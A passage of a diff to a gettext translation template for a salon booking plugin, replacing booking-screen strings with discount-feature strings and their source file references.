build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:360, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:360, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:360, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:360\n-msgid \"Request a feedback from customer by email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52\n+msgid \"Discount code\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:378, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:378, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:378, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:378, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:378, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:378\n-msgid \"Feedback request sent.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56\n+msgid \"Discount current usage\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:380, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:380, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:380\n-msgid \"Could not send feedback request.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:35\n+msgid \"Discount details\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:472, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:472, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:472\n-msgid \"No-show count\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:211\n+msgid \"Discount draft updated.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:534, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:534, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:534, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:425, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:534, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:534\n-msgid \"Save as new customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountIdOnStart.php:24\n+msgid \"Discount id is not valid\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:574, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:574, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:568, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:574\n-msgid \"Last edit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55\n+msgid \"Discount max usage limit\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:587, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:587, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:587, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:581, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:587\n-msgid \"Select a day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122\n+msgid \"DISCOUNT NAME\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:600, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:600, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:600, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:485, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:594, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:600\n-msgid \"Select an hour\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51\n+msgid \"Discount name\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:624, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:624, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:624, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:509, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:618, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:624\n-msgid \"OK! the date and time slot you selected is available\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:203\n+msgid \"Discount published.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:648, views\u002Fsettings\u002Ftab_payments_pro.php:195, views\u002Fsettings\u002Ftab_payments_pro.php:257, views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:75, src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:67, views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:648, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:648, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:533, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:648, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19\n-msgid \"Amount\"\n+#. %s will be replaced by the revision title\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:199\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:199\n+#, php-format\n+msgid \"Discount restored to revision from %s\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:659, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:659, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:659, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:544, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:653, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:659\n-msgid \"Tip\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:205\n+msgid \"Discount saved.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:677, views\u002Fshortcode\u002F_salon_thankyou_okbox.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:677, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:677, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:560, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:676, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:677, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:28\n-msgid \"Amount to be paid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:207\n+msgid \"Discount submitted.\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the \"Update booking\"\n-#: views\u002Fmetabox\u002Fbooking.php:737, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:737, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:737, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:736, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:737\n-msgid \"Please click on \\\"%s\\\" button to see the updated prices\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:82\n+msgid \"Discount system\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:738, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:738, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:738, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:737, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:738\n-msgid \"Update booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54\n+msgid \"Discount type\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:746, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:746, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:746, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:629, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:745, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:746\n-msgid \"Update totals\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:196\n+msgid \"Discount updated.\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:761, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:761, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:761, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:644, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:760, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:761\n-msgid \"Personal message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:64\n+msgid \"Discount usage history\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:770, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:770, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:770, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:653, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:769, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:770\n-msgid \"Administration notes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:588\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:588\n+msgid \"Discounted price\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking.php:800, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:800, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:800, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:683, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:799, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:800\n-msgid \"Show more details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:572\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:237\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPlugin.php:572\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:237\n+msgid \"Discounts\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking_actions.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:7\n-msgid \"Re-send email notification to \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:246\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:246\n+msgid \"Discounts Archive\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fbooking_actions.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:10, 